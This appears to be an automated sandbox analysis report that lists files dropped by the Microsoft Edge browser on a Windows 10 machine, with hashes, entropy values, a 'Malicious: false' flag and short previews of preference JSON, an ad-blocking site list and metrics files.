Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="635176" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\080d9fb3-b8ed-4edb-ae56-c8707a348110.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45562
Entropy (8bit):	6.089696603926287
Encrypted:	false
SSDEEP:	768:LMkbJrT8IeQc5d918fFhDO6vP6O4sjIXBv4ZoUVD/AEFQhv5ZYCAo3Goup1Xl3j/:LMk1rT8H191363IXBAQh3YRo3hu3VlXV
MD5:	3403B1A4F67F07B30ADC0B09F9055696
SHA1:	EAD60256C4186C074B96413AB490F8377770299F
SHA-256:	293EA310A5B724AB6865D8CBA1940FD68A0D6676B56C7330574A7E4E6A2175C0
SHA-512:	87186DDFD31889C4F63C98C71EBF732774256BB4796F2E51EF325952CC1F334CAC38FAB7AF2774CE5973E40FC8688B50A025ADCAAAB2C077A4C94B89967FA402
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734433944"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0ea4131d-c6c2-42cf-9fb6-a945fbfee1f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45562
Entropy (8bit):	6.08967189462555
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQc5d918fFhDO6vP6O4sjIXBv4ZoUVD/AEFQhv5ZYCAo3Goup1Xl3j/:7Mk1rT8H191363IXBAQh3YRo3hu3VlXV
MD5:	7DDB296CD1F5CE77991D3EBA73CA6BE5
SHA1:	97508D1EA928235E1E88DF51491D60609301AB91
SHA-256:	BF3680AB1D5CF4B26E9708F41DC434350A7585F6BDF84D0F1ACFA24D37312001
SHA-512:	40187AB67CA9230873C1BEE9293DDC1E129EC6B172262103ACBE801FFEC3DB434A04ACDC13B33C82FB5B3323A75DC05D3971B1B684F540DBB6806F8EED460B76
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734433944"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\45c417f7-fe0c-473d-8f13-106811149e0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45639
Entropy (8bit):	6.089625053898293
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQc51918C4uhDO6vP6O4sjIXBn4ZoUVD/AEFQhv5ZYCAo3Goup1Xl3r:7Mk1rT8HN91263IXBoQh3YRo3hu3VlXV
MD5:	8CBEE63BB09D19204415AC9CD427216A
SHA1:	654F257F275766E4166DA98E5C27A5F81C39F1E8
SHA-256:	D4261C2FC6348FC06D410DEEDBF57174DC4D022D542A5E8190C8CCB686D5E9AD
SHA-512:	8C1DE27C23CD3F1CF84604074936BEBB70A6AC421CF1DE1C874DD1D466CD305B53D6EA54A22D62806145CB7541BB25BB323C713C9FD64B35D85282E05047EC2E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734433944"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4a5f16ec-4a63-410f-8f39-de3a7c905ceb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45562
Entropy (8bit):	6.089690460503384
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQc5d918C4uhDO6vP6O4sjIXBv4ZoUVD/AEFQhv5ZYCAo3Goup1Xl3r:7Mk1rT8H191263IXBAQh3YRo3hu3VlXV
MD5:	A9DF3D29936AC2CCB0C8D9D61744A08F
SHA1:	05C34418121BDAC4E55277955A1EDEC6A33C592C
SHA-256:	E81C75654D03CA33D61D8548B4CEB4CD6D379F6B31BF12411F99B395BD148DC5
SHA-512:	A361853F54525BDB17E6615D3D5FB2C0B139A898D733FF68CE5CF43AB203AB8E4E8E54C1E4ABD846D80242549FDB179E6976794B6256D7AE4697FC41AB003721
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734433944"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4e039779-fc9e-4dda-b643-909233bfad02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44660
Entropy (8bit):	6.097348591280241
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBOwu4hDO6vP6O4sjIXBv4ZoUVD/AEFcGoup1Xl3j0:z/Ps+wsI7yOEK63IXBAchu3VlXr4CRo1
MD5:	14E2FC6CC1FDFAE116BCA08E05EDF83E
SHA1:	27170B540865D0201F67FC5AA7C247AB43755882
SHA-256:	D3E64F0B38D9A180AAACF4EC96A4A65C8F2009068BFC7084F6404DE3D64F585F
SHA-512:	07776D8B97BF1408A9688B6744700047A28DF5072E4CE4C03CD365E37ECCA4D195FA82BFD558D6F327F08340BFE075FC4DAFA97663FB90997E695C572DB78C2B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\532cc2ac-abe9-4779-b804-a98a989a4d8e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44620
Entropy (8bit):	6.096946389162977
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBKwu4hDO6vP6O4sjIXBrhZQDkE6FoB6cGoup1Xl34:z/Ps+wsI7ynEG63IXB3chu3VlXr4CRo1
MD5:	CCD6234265AF9CE9C3AC745CCCD97D5C
SHA1:	1BDCE60DA3787696E7257684397178C437F0A8C5
SHA-256:	D6605DFC8923EEBF533DE09BF23094D2298A1A1503031C3C6F8691C2BE6618A5
SHA-512:	7A255D3031BCB98817C390E11F4E989231D3E8D14C476DA64F5DB83687029C803C2C4CE05B67DD5BEF140CC712E5601E89E152FC7F8FD1E0FA1A8BD825FFB732
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\746baf16-d62b-456d-91af-74fdec9dc618.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47154
Entropy (8bit):	6.091374180605248
Encrypted:	false
SSDEEP:	768:LMkbJrT8IeQc5d918fFhDO6vP6O4sjIXBWz0TZh9U7NQhv5ZYCAo74Goup1Xl3j/:LMk1rT8H191363IXBWZQh3YRochu3Vll
MD5:	B4A501A8A80184688B1201ECB8643B65
SHA1:	DC4221055834280C464D6B20E5C3E974691EBC94
SHA-256:	4F1747BCCB9CAE51BA5568AB82DCAD4DA2C659BFC1294DC3BC768E38C334BF99
SHA-512:	2176E6BF660314596FC8069312510A175813790DF7BDEC490019B84D45D6095E2D1476387C20BD0C61EA0F158E7224FA584DEFEC9A2F59D60753A7914450E1C1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734433944"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\927b309d-f423-442d-90c2-3b17a3de1bd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67615C92-14B4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44259513737853295
Encrypted:	false
SSDEEP:	3072:XVMAbSau19D4eNfcvcU1g1HFmwXrp9N9vCafrVogursMPddYgg1HF:2AbUX4e1+cU1aHDXVlvjVo/rsgdBaH
MD5:	09DAB01274D8E11CF29F2CFAABE78BDE
SHA1:	4851077357266090686ED2CCF26F4B317EC8DC26
SHA-256:	2F7DD93F968DFCBC8FCF364C96E5654385AD8BBD25C2EC3EDB5D7129AECCBFB2
SHA-512:	A7C1F9CAE1C1CC62E0989EFB516F07555F696BD2BCB7A4F9BC5BA5FCAF1F4448D28EC40AA6A10F241EF413BD0AC5E62F5E230FBACFA06A3B1E6C3CE791B888AD
Malicious:	false
Preview:	...@..@...@.....C.].....@...................h...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rgoagi20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K.u.$r.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2...........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67615CA1-20F4.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.044521916069534775
Encrypted:	false
SSDEEP:	192:v77G0o3tmiQUIaddRJg+0UggrXyUInPkt1kKh1PNCdnz1gQsIMi2eZn8y08Tcm2D:v/G0st60Dd04hJqJgUM9S08T2RGOD
MD5:	1CA48D0BA2B24BDAA282E3D9066AC890
SHA1:	FFE89FF637BDB6E6FB84E66883E3B6CD530B574C
SHA-256:	27147F094AF7F8C340E5FEB3F26CF108E334BED8C6A1C28898E0DB804340E689
SHA-512:	30774F201B958795CA2454F61422CA3CF8CADB9570A4EE73DC3A3549EC2CDF47573D5359B1848AE2BAA8F7D9566AEA1B38C29CFC048034D08352E214572A8AA4
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...T..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rgoagi20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..Uu.$r.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........9...... .2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.124898764628895
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5etll:o1ApdeaEqYsMazlYBVsJDu2ziy5eX
MD5:	58C4D8DE72E3ECED51A6FA470EDB0B3F
SHA1:	EFBC52CA094310145103EB9A42AEDB37433E8C2D
SHA-256:	A0EA6C0BD7828E1691C2FB39D7B7CD642628E253684A809F814D9E25D8BE3F9F
SHA-512:	E92DEC4B52EA5786AADE4B675BAE5C8DDA0139064F82C71D37F5782D54894AA1BCAECBE9E4892D73D686724508857347BECD30D658267346B3DEBF1136C29A90
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1c154b62-2841-4fdc-9dfe-be92568134fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3d0f6e48-ad68-4a8d-bc59-e3b1d951f1df.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
